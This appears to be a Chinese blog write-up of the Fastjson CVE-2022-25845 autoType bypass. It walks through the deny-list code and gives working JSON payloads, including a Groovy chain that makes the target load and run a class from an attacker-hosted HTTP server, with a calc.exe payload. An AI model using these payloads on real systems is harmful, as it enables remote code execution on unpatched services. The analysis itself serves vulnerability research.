Fastjson漏洞之CVE-2022-25845

news2024/11/23 19:20:33

前言:

针对Fastjson之前已经介绍了,这里就不再重复了,漏洞CVE-2017-18349只能用来攻击>=1.2.24版本的,CVE-2022-25845属于CVE-2017-18349的升级版,但是目前仅影响到1.2.83以下版本。CVE-2022-25845本质上是绕过了名单限制,下面我们来了解下该漏洞。

代码分析:

针对CVE-2017-18349的防御是添加了checkAutoType方法进行防御,下面我们先看看该代码:

com.alibaba.fastjson.parser.ParserConfig.checkAutoType

代码如下:

    public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        } else {
            String className = typeName.replace('$', '.');
            if (this.autoTypeSupport || expectClass != null) {
                int i;
                String deny;
                for(i = 0; i < this.acceptList.length; ++i) {
                    deny = this.acceptList[i];
                    if (className.startsWith(deny)) {
                        return TypeUtils.loadClass(typeName, this.defaultClassLoader);
                    }
                }

                for(i = 0; i < this.denyList.length; ++i) {
                    deny = this.denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }

            Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
            }

            if (clazz != null) {
                if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                if (!this.autoTypeSupport) {
                    String accept;
                    int i;
                    for(i = 0; i < this.denyList.length; ++i) {
                        accept = this.denyList[i];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    for(i = 0; i < this.acceptList.length; ++i) {
                        accept = this.acceptList[i];
                        if (className.startsWith(accept)) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

                if (this.autoTypeSupport || expectClass != null) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }

                if (clazz != null) {
                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }

                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {
                            return clazz;
                        }

                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                }

                if (!this.autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }

 其中有两个地方进行了防御:

首先第一处是设置了黑名单,如果反射的class位于黑名单中会直接异常:

设置的黑名单如下:

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

当位于黑名单中,无论autoTypeSupport是否为true都会返回异常

第二处就是针对autoTypeSupport的校验,当其为false的时候,会直接返回异常

 所以说要是想要执行,必须能够进入到return clazz代码,下面我们逐个分析下哪个有可能:

 这里可以看到有两处会返回clazz 

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
clazz = this.deserializers.findClass(typeName);

针对第一处我们看看什么情况下会返回clazz

可以看到如下方法可以被返回

复制出来共有86个如下:

mappings = {ConcurrentHashMap@6710}  size = 86
 "java.awt.Color" -> {Class@7347} "class java.awt.Color"
 "[char" -> {Class@351} "class [C"
 "java.lang.IllegalStateException" -> {Class@4775} "class java.lang.IllegalStateException"
 "java.lang.IndexOutOfBoundsException" -> {Class@6946} "class java.lang.IndexOutOfBoundsException"
 "java.sql.Time" -> {Class@6842} "class java.sql.Time"
 "java.lang.NoSuchMethodException" -> {Class@700} "class java.lang.NoSuchMethodException"
 "java.util.Collections$EmptyMap" -> {Class@222} "class java.util.Collections$EmptyMap"
 "java.util.Date" -> {Class@1172} "class java.util.Date"
 "java.awt.Point" -> {Class@7356} "class java.awt.Point"
 "[boolean" -> {Class@352} "class [Z"
 "float" -> {Class@6689} "float"
 "java.lang.AutoCloseable" -> {Class@289} "interface java.lang.AutoCloseable"
 "java.lang.NullPointerException" -> {Class@264} "class java.lang.NullPointerException"
 "java.lang.NoSuchFieldError" -> {Class@699} "class java.lang.NoSuchFieldError"
 "java.lang.NoSuchFieldException" -> {Class@3987} "class java.lang.NoSuchFieldException"
 "java.util.concurrent.atomic.AtomicInteger" -> {Class@187} "class java.util.concurrent.atomic.AtomicInteger"
 "java.util.Locale" -> {Class@40} "class java.util.Locale"
 "java.lang.InstantiationException" -> {Class@6986} "class java.lang.InstantiationException"
 "java.lang.InternalError" -> {Class@354} "class java.lang.InternalError"
 "java.lang.SecurityException" -> {Class@1609} "class java.lang.SecurityException"
 "[int" -> {Class@346} "class [I"
 "[double" -> {Class@349} "class [D"
 "java.lang.Cloneable" -> {Class@335} "interface java.lang.Cloneable"
 "java.lang.IllegalAccessException" -> {Class@6961} "class java.lang.IllegalAccessException"
 "java.util.IdentityHashMap" -> {Class@380} "class java.util.IdentityHashMap"
 "java.lang.LinkageError" -> {Class@325} "class java.lang.LinkageError"
 "byte" -> {Class@7375} "byte"
 "double" -> {Class@7377} "double"
 "java.awt.Font" -> {Class@7379} "class java.awt.Font"
 "java.sql.Timestamp" -> {Class@7050} "class java.sql.Timestamp"
 "java.util.concurrent.ConcurrentHashMap" -> {Class@36} "class java.util.concurrent.ConcurrentHashMap"
 "java.lang.StringIndexOutOfBoundsException" -> {Class@7130} "class java.lang.StringIndexOutOfBoundsException"
 "java.util.UUID" -> {Class@6682} "class java.util.UUID"
 "java.lang.Exception" -> {Class@330} "class java.lang.Exception"
 "java.lang.IllegalAccessError" -> {Class@6803} "class java.lang.IllegalAccessError"
 "com.alibaba.fastjson.JSONObject" -> {Class@6429} "class com.alibaba.fastjson.JSONObject"
 "java.awt.Rectangle" -> {Class@7387} "class java.awt.Rectangle"
 "java.lang.StackOverflowError" -> {Class@320} "class java.lang.StackOverflowError"
 "[B" -> {Class@348} "class [B"
 "java.lang.TypeNotPresentException" -> {Class@6858} "class java.lang.TypeNotPresentException"
 "[C" -> {Class@351} "class [C"
 "[D" -> {Class@349} "class [D"
 "java.text.SimpleDateFormat" -> {Class@1131} "class java.text.SimpleDateFormat"
 "java.util.HashMap" -> {Class@206} "class java.util.HashMap"
 "[F" -> {Class@350} "class [F"
 "long" -> {Class@6675} "long"
 "[I" -> {Class@346} "class [I"
 "java.util.TreeSet" -> {Class@584} "class java.util.TreeSet"
 "[short" -> {Class@347} "class [S"
 "[J" -> {Class@345} "class [J"
 "java.lang.VerifyError" -> {Class@6941} "class java.lang.VerifyError"
 "java.util.LinkedHashMap" -> {Class@95} "class java.util.LinkedHashMap"
 "java.util.HashSet" -> {Class@365} "class java.util.HashSet"
 "java.lang.IllegalMonitorStateException" -> {Class@319} "class java.lang.IllegalMonitorStateException"
 "[byte" -> {Class@348} "class [B"
 "java.util.Calendar" -> {Class@1145} "class java.util.Calendar"
 "[S" -> {Class@347} "class [S"
 "java.lang.StackTraceElement" -> {Class@1523} "class java.lang.StackTraceElement"
 "java.lang.NoClassDefFoundError" -> {Class@1654} "class java.lang.NoClassDefFoundError"
 "java.util.Hashtable" -> {Class@304} "class java.util.Hashtable"
 "java.util.WeakHashMap" -> {Class@180} "class java.util.WeakHashMap"
 "java.util.LinkedHashSet" -> {Class@915} "class java.util.LinkedHashSet"
 "[Z" -> {Class@352} "class [Z"
 "java.lang.NegativeArraySizeException" -> {Class@6891} "class java.lang.NegativeArraySizeException"
 "java.lang.IllegalThreadStateException" -> {Class@7103} "class java.lang.IllegalThreadStateException"
 "[long" -> {Class@345} "class [J"
 "java.lang.NoSuchMethodError" -> {Class@210} "class java.lang.NoSuchMethodError"
 "java.lang.NumberFormatException" -> {Class@4340} "class java.lang.NumberFormatException"
 "java.lang.RuntimeException" -> {Class@329} "class java.lang.RuntimeException"
 "java.lang.IllegalArgumentException" -> {Class@64} "class java.lang.IllegalArgumentException"
 "int" -> {Class@7422} "int"
 "java.sql.Date" -> {Class@7066} "class java.sql.Date"
 "java.util.concurrent.TimeUnit" -> {Class@1262} "class java.util.concurrent.TimeUnit"
 "java.util.concurrent.atomic.AtomicLong" -> {Class@103} "class java.util.concurrent.atomic.AtomicLong"
 "java.util.concurrent.ConcurrentSkipListMap" -> {Class@4650} "class java.util.concurrent.ConcurrentSkipListMap"
 "boolean" -> {Class@6694} "boolean"
 "java.util.concurrent.ConcurrentSkipListSet" -> {Class@4647} "class java.util.concurrent.ConcurrentSkipListSet"
 "java.util.TreeMap" -> {Class@163} "class java.util.TreeMap"
 "java.lang.InstantiationError" -> {Class@6840} "class java.lang.InstantiationError"
 "java.lang.InterruptedException" -> {Class@230} "class java.lang.InterruptedException"
 "[float" -> {Class@350} "class [F"
 "char" -> {Class@7434} "char"
 "short" -> {Class@6691} "short"
 "java.lang.Object" -> {Class@344} "class java.lang.Object"
 "java.util.BitSet" -> {Class@18} "class java.util.BitSet"
 "java.lang.OutOfMemoryError" -> {Class@321} "class java.lang.OutOfMemoryError"

第二处 deserializers可以看到有如下方法:

具体有很多类型,这里就不进行罗列;

然后第二处如下,这里是获取用户设置的白名单

 第三处如下,第三处想被调用需要满足checkAutoType的第二个参数不能为空或者autoTypeSupport为true

最后一处就是autoTypeSupport为true的情况下,当不满足上面任意一个选项的时候会进行调用。

对上面四处分析可以发现正常情况下程序员不会把autoTypeSupport设置为false,但是利用前两个我们可以绕过autoTypeSupport的校验,但是要想反射我们指定的方法,则还是需要配合第三处,通过继承指定的方法完成,下面我们分别进行测试下:

首先我们测试第二个,我们发现如下方法位于名单中,那我们测试使用该方法可否绕过

java.net.InetSocketAddress

发送如下poc

{"name":{
   "@type":"java.net.InetSocketAddress",
    "val":"0u3967.dnslog.cn"
 },
 "age":30
}

执行后发现成功返回java.net.InetSocketAddress,并最后进入到return clazz中被反射,进而绕过了autoTypeSupport

 下面同样的我们测试第一处,使用名单中的java.lang.Exception,同样绕过了autoTypeSupport限制

知道了怎么绕过autoTypeSupport,但是我们只能调用反射名单中的类,这样没办法利用,打个DNSLOG也没什么意思,这个时候就要配合利用第三处加载两次我们的反射类即可,这里着重先看下关键的几个地方:

代码位于如下:

com.alibaba.fastjson.parser.DefaultJSONParser.parseObject

进入getDeserializer方法需要注意,这里我们知道利用的是java.lang.Exception,所以我们这里就基于这个进行讲解,由于第一次调用内部列表中没有java.lang.Exception,所以会先调用下面的getDeserializer方法将java.lang.Exception和对应的继承类型放入列表中,后面调用就可以直接返回该方法和继承类:

最后添加的 java.lang.Exception和对应的处理方法到列表中:

最后通过获取上面的列表得到具体的处理方法:

然后会进入class com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer中处理:

重点来了,再 ThrowableDeserializer的deserialze处理方法中获取到第二个@type内容并作为参数调用了checkAutoType方法,这样我们就可以调用我们自己的方法,但是这里有一个需要注意,就是我们调用的方法也要继承Throwable:

这里我们可以尝试调用一个其他的方法 

执行后发现其最后调用class com.alibaba.fastjson.serializer.MiscCodec,但是其中的deserialze方法并没有调用checkAutoType,因此只有特定的方法可以:

对源码查看发现具体的不同类的处理方法位于如下列表代码中:

com.alibaba.fastjson.parser.deserializer

 查找共发现四处可以调用checkAutoType:

JavaBeanDeserializer:
userType = parser.getConfig().checkAutoType(typeName, expectClass, lexer.getFeatures());

AbstractDateDeserializer
Class<?> type = parser.getConfig().checkAutoType(typeName, (Class)null, lexer.getFeatures());

MapDeserializer:
clazz = config.checkAutoType(typeName, (Class)null, lexer.getFeatures());

ThrowableDeserializer
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());

再看看checkAutoType对参数的要求:

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features)

其中autoTypeSupport和jsonType我们没办法设置为true,所以expectClassFlag要求不能为空,则AbstractDateDeserializer和MapDeserializer无法利用,仅剩JavaBeanDeserializer和ThrowableDeserializer

下面就需要确定哪些方法可以最终调用到ThrowableDeserializer或者JavaBeanDeserializer,这里就需要关注

com.alibaba.fastjson.parser.ParserConfig的getDeserializer方法

可以看到当为Throwable或者不属于上述任何一个类型即可分别进入 ThrowableDeserializer或者JavaBeanDeserializer中,ThrowableDeserializer较为简单,直接以ThrowableDeserializer测试:

首先编写测试代码:

测试代码如下:

package org.example.controller;

import java.io.IOException;

public class mytest extends Exception {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

代码中需要注意,需要继承 Exception ,不然无法通过类型检测,具体的检测后面会讲解:

攻击代码:

{
    "@type": "java.lang.InternalError",
    "@type": "org.example.controller.mytest",
    "name": "calc.exe"
}

进入checkAutoType中调用参数如下:

此处会对类型进行校验,如果不相同会报错,这就是为什么必须继承Exception

最后调用我们自己添加的类弹出计算器 

上述就是大致的利用思路,然后我们看看网上公布的利用链,进行分析

利用:

网上利用链如下,需要分两步:

{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}

{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
     "@type":"org.codehaus.groovy.control.CompilerConfiguration",
     "classpathList":"http://127.0.0.1:1111/"
    }
}

下面我们先代码大概分析下调用思路

首先需要知道我们真正想要利用的点为

org.codehaus.groovy.control.CompilationUnit方法为addPhaseOperations的ASTTransformationVisitor.addPhaseOperations(this);

进而实现加载远程代码,但是要如果设置上加载的远程地址和如何最终调用,攻击利用很巧妙,我们下面进行分析:

首先我们需要先利用Exception加载我们需要的类,我们先要找到一个继承了Exception的类,并且调用了我们需要加载的方法:

发现org.codehaus.groovy.control.CompilationFailedException符合我们的需求,其中需要调用我们需要加载的org.codehaus.groovy.control.ProcessingUnit

当发送了上述的poc,可以成功的将org.codehaus.groovy.control.CompilationFailedException和org.codehaus.groovy.control.ProcessingUnit加入到名单中,可以绕过校验。

 这样org.codehaus.groovy.control.ProcessingUnit就成功的绕过了检测,下面就可以发送第二个poc了,首先我们看看org.codehaus.groovy.tools.javac.JavaStubCompilationUnit类型:

可以看到 JavaStubCompilationUnit继承自ProcessingUnit,所以org.codehaus.groovy.tools.javac.JavaStubCompilationUnit也可以绕过检测被加载到名单中:

 查看其调用参数:

可以看到其第一个参数为 org.codehaus.groovy.control.CompilerConfiguratio,所以会调用到org.codehaus.groovy.control.CompilerConfiguration方法

 

这样我们就可以利用 CompilerConfiguration的setClasspathList方法来设置远程服务器地址了:

设置完地址后回回到JavaStubCompilationUnit方法,并调用如下代码:

super(config, (CodeSource)null, gcl);

这样就会调用到父类CompilationUnit方法:

然后又会调用父进程ProcessingUnit:

super(configuration, loader, (ErrorCollector)null);

setClassLoader中调用了GroovyClassLoader:

return new GroovyClassLoader(parent, this.getConfiguration());

此处将地址添加到了Groovy远程地址中:

添加完成后回到CompilationUnit方法中,然后就会调用到addPhaseOperations方法:

然后会调用addPhaseOperations中的ASTTransformationVisitor方法:

ASTTransformationVisitor.addPhaseOperations(this);

进入addGlobalTransformsAfterGrab代码可以看到此处加载远程META-INF/services/org.codehaus.groovy.transform.ASTTransformation代码:

Enumeration<URL> globalServices = transformLoader.getResources("META-INF/services/org.codehaus.groovy.transform.ASTTransformation");

 访问远程服务器文件:

读取文件内容获取classname为Blue: 

最后调用addPhaseOperationsForGlobalTransforms方法完成实列化:

利用:

利用需要先新建目录\META-INF\services\并新建文件org.codehaus.groovy.transform.ASTTransformation,其中添加我们要加载的类,这里按照POC走Blue

然后使用javac编译如下java代码为Blue.class

import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;

import java.io.IOException;

@GroovyASTTransformation
public class Blue implements ASTTransformation {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {
        
    }
}

 然后搭建服务器:

python -m http.server 8013

然后依次发送两个poc,可以成功执行我们远程代码:

 攻击链非常巧妙,其主要核心思想是利用Groovy 编译器加载远程代码,利用了java.lang.Exception过滤漏洞实现了对任意类的加载最终导致命令执行;

防御:

1.2.80后已经可以进行防御,看了下83的代码防御简单粗暴,针对Exception和Error进行了过滤,阻止了Exception的加载

总结: 

针对1.2.83以下的版本虽然1.2.24后虽然添加了checkAutoType检测,但是忽略了针对Exception和Error的过滤导致了使用该类可以通过Groovy实现远程方法加载,漏洞不复杂,但是利用Groovy实现远程类的加载还是很有意思,感兴趣的可以深挖下看看有没有其他调用链玩

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1831699.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据仓库与数据挖掘(期末复习)

数据仓库与数据挖掘&#xff08;期末复习&#xff09; ETL的含义Extract 、 Transformation、Load。 ODS的全称Operational Data Store。 DW全称 Data Warehourse DM全称是Data Mart 数据仓库数据抽取时所用到技术是增量、全量、定时、调度 STAGE层作用是提供业务系统数据…

[Python学习篇] Python列表

列表&#xff08;List&#xff09;&#xff1a;列表是可变的&#xff0c;这意味着你可以修改列表的内容&#xff0c;例如增加、删除或更改元素。列表使用方括号 [] 表示。列表可以一次性存储多个数据&#xff0c;且可以存不同数据类型。 语法&#xff1a; [数据1, 数据2, 数据3…

浅浅记录一下实现锚点定位

如图&#xff0c;左边是一个快捷导航&#xff0c;右边是主体内容&#xff08;每个卡片对应一个小导航&#xff09; 直接上代码分析 左边的导航侧由静态数据循环生成&#xff08;当前选中有蓝色背景样式&#xff0c;还有不可点击样式&#xff09; <div class"word-tip…

springboot与flowable(5):任务分配(表达式)

在做流程定义时我们需要给相关的用户节点指派对应的处理人。在flowable中提供了三种分配的方式。 一、固定分配 在分配用户时选择固定值选项确认即可。 二、表达式 1、值表达式 2、方法表达式 三、表达式流程图测试 1、导出并部署 导出流程图&#xff0c;复制到项目中 部署流…

集合进阶(泛型、泛型通配符、数据结构(二叉树、平衡二叉树、红黑树

一、泛型类、泛型方法、泛型接口 1、泛型概述 泛型&#xff1a;是JDK5中引入的特性&#xff0c;可以在编译阶段约束操作的数据类型&#xff0c;并进行检查。泛型的格式&#xff1a;<数据类型>注意&#xff1a;泛型只能支持引用数据类型。 泛型的好处 1、统一数据类型。 …

【深度学习】GELU激活函数是什么?

torch.nn.GELU 模块在 PyTorch 中实现了高斯误差线性单元&#xff08;GELU&#xff09;激活函数。GELU 被用于许多深度学习模型中&#xff0c;包括Transformer&#xff0c;因为它相比传统的 ReLU&#xff08;整流线性单元&#xff09;函数能够更好地近似神经元的真实激活行为。…

HardFault Err,无法调试,错误定位

一、简介 在平时开发的时候&#xff0c;经常会遇到程序报错的情况。对于裸机来说&#xff0c;可以通过在线调试的方式进行定位问题。但是对于RTOS系统来时&#xff0c;很多MCU/SOC是不支持在线调试的&#xff0c;此时&#xff0c;如果系统报错&#xff0c;我们就需要根据系统的…

节假日零售数据分析:节假日销售的得力助手

在奥威BI零售数据分析方案预设了一张BI节假日分析报表&#xff08;BI数据可视化报表&#xff09;&#xff0c;它能够帮助零售企业深入理解节假日期间的销售动态&#xff0c;从而做出更精准的市场策略调整。以下是利用该报表进行数据分析的具体步骤和要点&#xff1a; 一、数据…

burp靶场xss漏洞(中级篇)上

靶场地址 http://portswigger.net/web-security/all-labs#cross-site-scripting 第一关&#xff1a;DOM型&#xff08;使用document.write函数&#xff09; 1.点击随机商品后找到搜索框&#xff0c;后在URL中添加storeId查询参数&#xff0c;并输入一个随机字母数字字符串作为…

从入门到精通:一步步打造稳定可靠的API服务

引言 在当今的软件开发周期中&#xff0c;API服务已经成为重要的组成部分&#xff0c;它们允许不同的应用程序和服务之间进行通信和数据交换。打造一个稳定可靠的API服务对于任何商业应用来说都是至关重要的。本文将作为指南&#xff0c;从基础知识到高级技术&#xff0c;一步…

知乎号开始运营了,宣传一波

知乎号开始发布一些小说、散文还有诗歌了&#xff0c;欢迎大家多来关注 知乎链接&#xff1a;姜亚轲 每篇小说都改编成网易云音乐&#xff0c;文章中也有链接&#xff0c;我做的词&#xff0c;Suno编曲和演唱&#xff0c;欢迎大家来听听

访问jlesage/firefox镜像创建的容器中文乱码问题

目录 介绍总结 介绍 最近在使用jlesage/firefox镜像创建容器的时候&#xff0c;发现远程管理家里网络的时候中文会出现乱码&#xff0c;导致整个体验非常的不好&#xff0c;网上查找资料说只要设置环境变量ENABLE_CJK_FONT1 就可以解决问题&#xff0c;抱着试一试的态度还真的成…

如何完美解决 Xshell 使用 SSH 连接 Linux 服务器报错:找不到匹配的 host key 算法

&#x1f6e0;️ 如何完美解决 Xshell 使用 SSH 连接 Linux 服务器报错&#xff1a;找不到匹配的 host key 算法 摘要&#xff1a; 本文将带领大家深入学习如何解决 Xshell 使用 SSH 连接 Linux 服务器时报错“找不到匹配的 host key 算法”的问题。通过详细的操作步骤和代码案…

deepin学习-设置自己窗口为最高层级

deepin-设置自己窗口为最高层级 一、概述1. kwin 中的窗口层级定义2. dde-session-ui 中的消息弹窗3. k-win的调试器 一、概述 窗口协议&#xff1a;wayland 在wayland的窗口下&#xff0c;有时候使用qt开发接口并不能满足我们的要求&#xff0c;就需要看窗管的写法。 setWi…

详解|访问学者申请被拒原因有哪些?

访问学者项目为全球科研人员提供了一个难得的机会&#xff0c;让他们能够跨越国界&#xff0c;深入不同的学术环境&#xff0c;进行学术交流和合作。然而&#xff0c;并非所有申请者都能如愿以偿地获得这一机会。本文将对访问学者申请中常见的被拒原因进行详细解析&#xff0c;…

计算机游戏因为d3dcompiler_47.dll丢失无法启动怎么办?解决只要d3dcompiler_47.dll丢失无法启动游戏软件的方法

d3dcompiler_47.dll 是一个动态链接库文件&#xff0c;属于 Microsoft DirectX 的一部分&#xff0c;主要负责编译和运行 3D 图形程序。它是支持 Direct3D 功能的核心组件&#xff0c;Direct3D 是一种用于编程 3D 图形的 API&#xff0c;广泛应用于游戏和图形密集型应用程序中。…

如何设置天锐绿盾的数据防泄密系统

设置天锐绿盾的数据防泄密系统&#xff0c;可以按照以下步骤进行&#xff1a; 一、系统安装与初始化 在线或离线安装天锐绿盾数据防泄密系统&#xff0c;确保以管理员身份运行安装包&#xff0c;并按照安装向导的提示完成安装。输入序列号进行注册&#xff0c;激活系统。 二…

Vuex遇到浏览器刷新,store里存的数据还在吗?

我们在做Vue前端项目的时候&#xff0c;很可能会使用Vuex来做一些状态或者数据管理&#xff0c;希望在一定程度上&#xff0c;不发送网络请求&#xff0c;不经过密集的组件数据传输&#xff0c;也可以达到数据共享的目的。但如果浏览器页面刷新了&#xff0c;Vuex中store里存的…

摩根大通研究论文:大型语言模型+自动规划器用来作有保障的旅行规划

【摘要】旅行规划是一项复杂的任务,涉及生成一系列与访问地点相关的动作序列,需要满足约束条件并最大化某些用户满意度标准。传统方法依赖于以给定形式语言表示问题,从网络来源中提取相关的旅行信息,并使用适当的问题求解器生成有效解决方案。作为替代方案,最近基于大型语言模型…

Guitar Pro 8软件安装包下载

简介&#xff1a; Guitar Pro吉他软件为帮助所有吉他爱好者学习、绘谱、创作而设计——包含吉他的现有指法及音色&#xff0c; Guitar Pro能了解各类线谱&#xff0c;看谱练吉他&#xff0c;对谱听示范&#xff0c;记录初创声音。 在做弹拨乐器的滑音、倚音、推弦、揉弦、泛…